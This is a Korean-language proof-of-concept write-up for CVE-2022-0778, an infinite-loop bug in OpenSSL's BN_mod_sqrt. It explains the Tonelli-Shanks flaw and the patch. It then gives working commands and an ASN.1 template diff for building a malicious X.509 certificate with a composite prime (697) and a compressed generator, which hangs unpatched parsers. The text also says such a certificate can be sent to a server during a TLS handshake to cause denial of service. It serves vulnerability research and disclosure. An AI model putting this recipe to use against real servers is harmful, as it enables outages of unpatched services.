
CVE-2022-0778에 대한 개념 증명 익스플로잇으로, 비소수 곡선 매개변수를 가진 조작된 X.509 인증서를 통해 OpenSSL의 BN_mod_sqrt에서 무한 루프를 유발하여 서비스 거부(DoS) 공격을 가능하게 합니다.
발견된 취약점은 OpenSSL의 BN_mod_sqrt() 함수에서 타원 곡선 키를 파싱하는 동안 무한 루프를 유발합니다. 즉, 악의적으로 조작된 X.509 인증서가 패치되지 않은 서버에 DoS 공격을 가할 수 있습니다.
취약점의 핵심은 압축 형식의 점이 있는 EC 키를 파싱하는 데 있습니다. 이러한 유형의 키를 파싱하는 동안 OpenSSL은 압축된 점을 확장하여 곡선이 정의된 소수 p에 대한 제곱근을 계산하려고 시도합니다. 그러나 p의 소수성은 어디에서도 확인되지 않으며, BN_mod_sqrt()에서도 필수 조건임에도 불구하고 확인되지 않습니다. 따라서 구현상의 버그로 인해 p가 예상대로 소수가 아니기 때문에 무한 루프가 발생합니다.
중국어 설명은 제 블로그 OpenSSL CVE-2022-0778 취약점 재현 및 불법 인증서 구성에서 확인할 수 있습니다.
BN_mod_sqrt()에 대한 테스트 게시전제 조건은 gcc와 취약한 버전의 OpenSSL이 설치되어 있어야 합니다.
BN_mod_sqrt()의 버그 테스트: gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto로 컴파일하고 ./my_bad_sqrt를 실행하면 영원히 멈추는 것을 확인할 수 있습니다! :D
인증서로 테스트: 명령줄에서 openssl x509 -in certs/cert.der.new -inform DER -text -noout를 실행하면 역시 멈춥니다.
BN_mod_sqrt() 함수는 모듈러 제곱근을 찾기 위한 Tonelli-Shanks 알고리즘을 구현합니다. 즉, 정수 a와 소수 p가 주어지면 r^2 == a (mod p)를 만족하는 r 값을 반환합니다.
취약점을 패치한 커밋을 분석해 보면 원인은 b^(2^i)==1 (mod p)를 만족하는 최소 인덱스 i를 찾는 루프이며, 여기서 b는 알고리즘에서 이전에 정의됩니다.
루프가 다음과 같이 변경되었습니다.
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
에서
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
두 번째 경우에는 변수 e에 의해 제한되는 for 루프가 있습니다. 그러나 원래 코드에는 while 루프 안에 i==e 경우에 대한 확인만 있습니다.
이 루프들은 각 반복마다 e의 새 값을 현재 i 값으로 설정하는 더 큰 루프 안에 있으므로, 다음과 같은 공격 전략을 시도합니다:
i=1이 되도록 합니다. 이를 위해 b^2=1 (mod p)가 필요합니다.e=1이 되고, 내부 루프에 진입할 수 있다면 i==e 확인은 항상 실패합니다.t != 1 (mod p)이 되도록 관리한다면 루프에 영원히 갇히게 됩니다.처음 두 단계는 실제로 소수 p를 사용하는 "정상" 실행에서 발생할 수 있습니다. 그러나 p가 합성수이면 세 번째 단계도 충족시킬 수 있습니다!
Tonelli-Shanks 알고리즘은 p - 1 = 2^e * q로 쓰며, 여기서 q는 홀수입니다. 이는 p를 법으로 하는 정수의 곱셈군의 차수이며, 값 e와 q는 실행 중에 여러 번 사용됩니다. 그러나 p가 소수가 아닌 경우 곱셈군의 차수는 p-1이 아니므로 무한 루프에 빠지는 데 도움이 됩니다.
특히 b는 b = a^q (mod p)로 초기화됩니다. 즉, p가 소수라면 b는 2의 거듭제곱 차수를 가지며, 이를 루프를 통해 찾게 됩니다.
그러나 p = r * s로 설정하면 곱셈군의 차수는 r*s-1 대신 (r-1)*(s-1) = r*s - r - s + 1이 됩니다. 알고리즘은 q 값을 사용하여 차수가 정확히 2^e인 요소 y를 얻습니다. 그러나 p가 소수가 아닌 경우 q 값은 차수에 대해 특별한 의미를 가지지 않으므로 요소 y는 p=r*s를 법으로 할 때 2의 거듭제곱 차수를 가지지 않습니다.
첫 번째 외부 루프가 끝날 때 b는 b = b*y^(e-i) (mod p)로 설정되므로, 두 번째 반복에서 내부 루프는 b^(2^i) == 1 (mod p)를 만족하는 i 값을 찾으려고 시도하지만, y가 더 이상 2의 거듭제곱 차수를 보장받지 못하기 때문에 실패합니다.
익스플로잇의 숫자는 매우 간단합니다. r=17, s=41을 취하면 p = r*s = 697입니다. 이는 계산된 e와 q 값이 p-1 = 2^3 * 87이 됨을 의미합니다.
그런 다음 a=696을 선택합니다. 이는 a == -1 (mod p)이며, 초기화 시 b == -1 (mod p)가 됩니다. 이는 1단계를 충족시켜 다음 외부 루프의 e=1을 설정합니다.
그런 다음 b는 2의 거듭제곱이 아닌 차수를 가진 요소로 설정되며, 내부 루프는 b^(2^i)==1 (mod p)를 만족하는 i를 찾으려다 멈추게 됩니다.
자, 이제 압축 형식으로 인코딩된 기본 점이 있는 유효하지 않은 명시적 곡선 매개변수가 포함된 위험한 인증서를 만들어 보겠습니다.
이 섹션의 파일은 certs 폴더에 있습니다.
먼저 EC 개인 키를 생성해야 합니다. 대상 인증서에 명시적 곡선 매개변수를 포함시키려면 키에도 명시적 곡선 매개변수가 포함되어야 합니다.
$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
그런 다음 편의를 위해 자체 서명된 인증서를 생성하고 DER 형식으로 출력합니다.
$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
인증서 정보를 확인해 보겠습니다. 예상대로 명시적 곡선 매개변수가 포함되어 있습니다.
$ openssl x509 -in cert.der -text -noout -inform DER
...
Field Type: prime-field
Prime:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff
A:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fc
B:
5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
60:4b
Generator (compressed):
03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
98:c2:96
Order:
00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
63:25:51
...
이제 이러한 매개변수(Prime, A, B, Generator)의 값을 수정해야 합니다. 이 값들은 아래 방정식을 만족해야 합니다.
여기서 p는 Prime, a는 A, b는 B입니다. p, a, b는 함께 곡선을 결정합니다. 점의 압축을 푸는 것은 해당 X 좌표에서 Y 좌표를 계산하는 것을 의미합니다.
분명히 모듈러 제곱근 연산이 사용되어야 하며, 이는 BN_mod_sqrt()를 호출합니다.
drago-96의 작업을 바탕으로 p=697, x^3+ax+b=696을 사용합니다. 그런 다음 두 번째 방정식을 만족하는 적절한 a, b, x를 선택하면 됩니다. 여기서는 x=8, a=23, b=0을 사용합니다.
이제 인증서를 수정하기 시작할 수 있습니다. ASN.1 구조를 수동으로 편집하는 것은 정말 끔찍합니다. xxd 도구를 사용하여 인증서를 16진수 형식으로 변환한 다음 vim으로 편집했습니다. 편집이 완료되면 xxd -r로 다시 변환했습니다.
$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# cert.der.hex 편집
# ...
# 완료
$ xxd -r cert.der.hex cert.der.new
더 편리한 도구를 찾지 못했습니다. 아는 분이 계시면 댓글로 알려주시기 바랍니다.
제작 단계는 대략 다음과 같습니다.
ASN1_INTEGER의 패딩 형식을 확인하므로 Prime은 선행 0바이트를 포함하지 않아야 합니다. 따라서 Prime의 길이를 변경해야 합니다.xxd -r을 실행한 후 파일 끝에 원치 않는 줄 바꿈 문자(0x0a)가 있을 수 있습니다. 이를 제거해야 합니다.이제 일반 인증서의 ASN.1 구조를 살펴보겠습니다. 빨간색 선으로 표시된 부분이 변경될 부분입니다.
$ openssl asn1parse -in cert.der -inform DER -i

수정 전후의 길이는 다음과 같습니다.
| from(dec) | from(hex) | to(dec) | to(hex) |
|---|---|---|---|
| 549 | 225 | 488 | 1e8 |
| 460 | 1cc | 399 | 18f |
| 266 | 10a | 205 | cd |
| 227 | e3 | 166 | a6 |
| 215 | d7 | 154 | 9a |
| 44 | 2c | 13 | 0d |
| 33 Prime | 21 | 2 | 02 |
| 33 Generator | 21 | 3 | 03 |
2020-03-21 업데이트:
훨씬 쉬운 방법은 wllm-rbnt가 작성한 asn1template 도구를 사용하는 것입니다.
저장소를 클론합니다:
$ git clone https://github.com/wllm-rbnt/asn1template.git
이 인증서에서 DER 템플릿을 생성합니다:
$ ./asn1template/asn1template.pl cert.der > cert.tpl
그런 다음 위에서 언급한 매개변수를 변경합니다:
diff cert.tpl cert_new.tpl
46c46
< field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
---
> field32 = FORMAT:HEX,OCTETSTRING:030008
51c51
< field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
---
> field36 = INTEGER:0x2B9
53,54c53,54
< field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
< field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
---
> field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
> field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
ASN1_generate_nconf(3)를 사용하여 다시 DER 인코딩 ASN1로 변환합니다:
$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der
출력된 cert_new.der는 수동으로 편집한 버전과 동일합니다.
이제 유효하지 않은 인증서를 성공적으로 제작했습니다. 새 ASN.1 구조를 살펴보겠습니다.
$ openssl asn1parse -in cert.der.new -inform DER -i

빨간색 부분이 모두 수정되었으며, 인증서가 DER 디코딩을 올바르게 통과할 수 있습니다.
이제 인증서를 파싱해 보겠습니다. 모든 것이 예상대로 작동하면 프로세스가 무한 루프에 빠집니다.
openssl x509 -in cert.der.new -inform DER -text -noout

보시다시피 openssl 프로세스의 %CPU가 100이고, 호출 스택이 BN_mod_sqrt() 내부에 있습니다.
악의적인 공격자가 SSL 핸드셰이킹 중에 이러한 조작된 인증서를 서버에 보내면 서버는 무한 루프에 빠져 DoS 공격을 유발할 수 있습니다.
OpenSSL C libcrypto 라이브러리를 사용하여 인증서를 만들어 보겠습니다.
앞서 살펴본 것처럼, 소수가 아닌 기저 필드를 가진 곡선을 사용하고 점을 압축 형식으로 인코딩해야 파싱 시 BN_mod_sqrt()의 버그에 걸릴 수 있습니다.
이는 곡선을 y^2 = x^3 + 1*x + 694 (mod 697)로 설정하고 생성자로 (1, 132)를 사용하여 수행할 수 있습니다. 이렇게 하면 my_bad_sqrt와 정확히 동일한 매개변수로 BN_mod_sqrt()를 호출합니다.
gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group를 실행하면 ECparams를 DER 형식으로 포함하는 my_bad_group.der 파일이 생성됩니다.
OpenSSL로 해당 매개변수를 파싱하려고 하면 무한 루프가 발생합니다: openssl ecparam -in my_bad_group.der -inform der.
... 작업 중 ...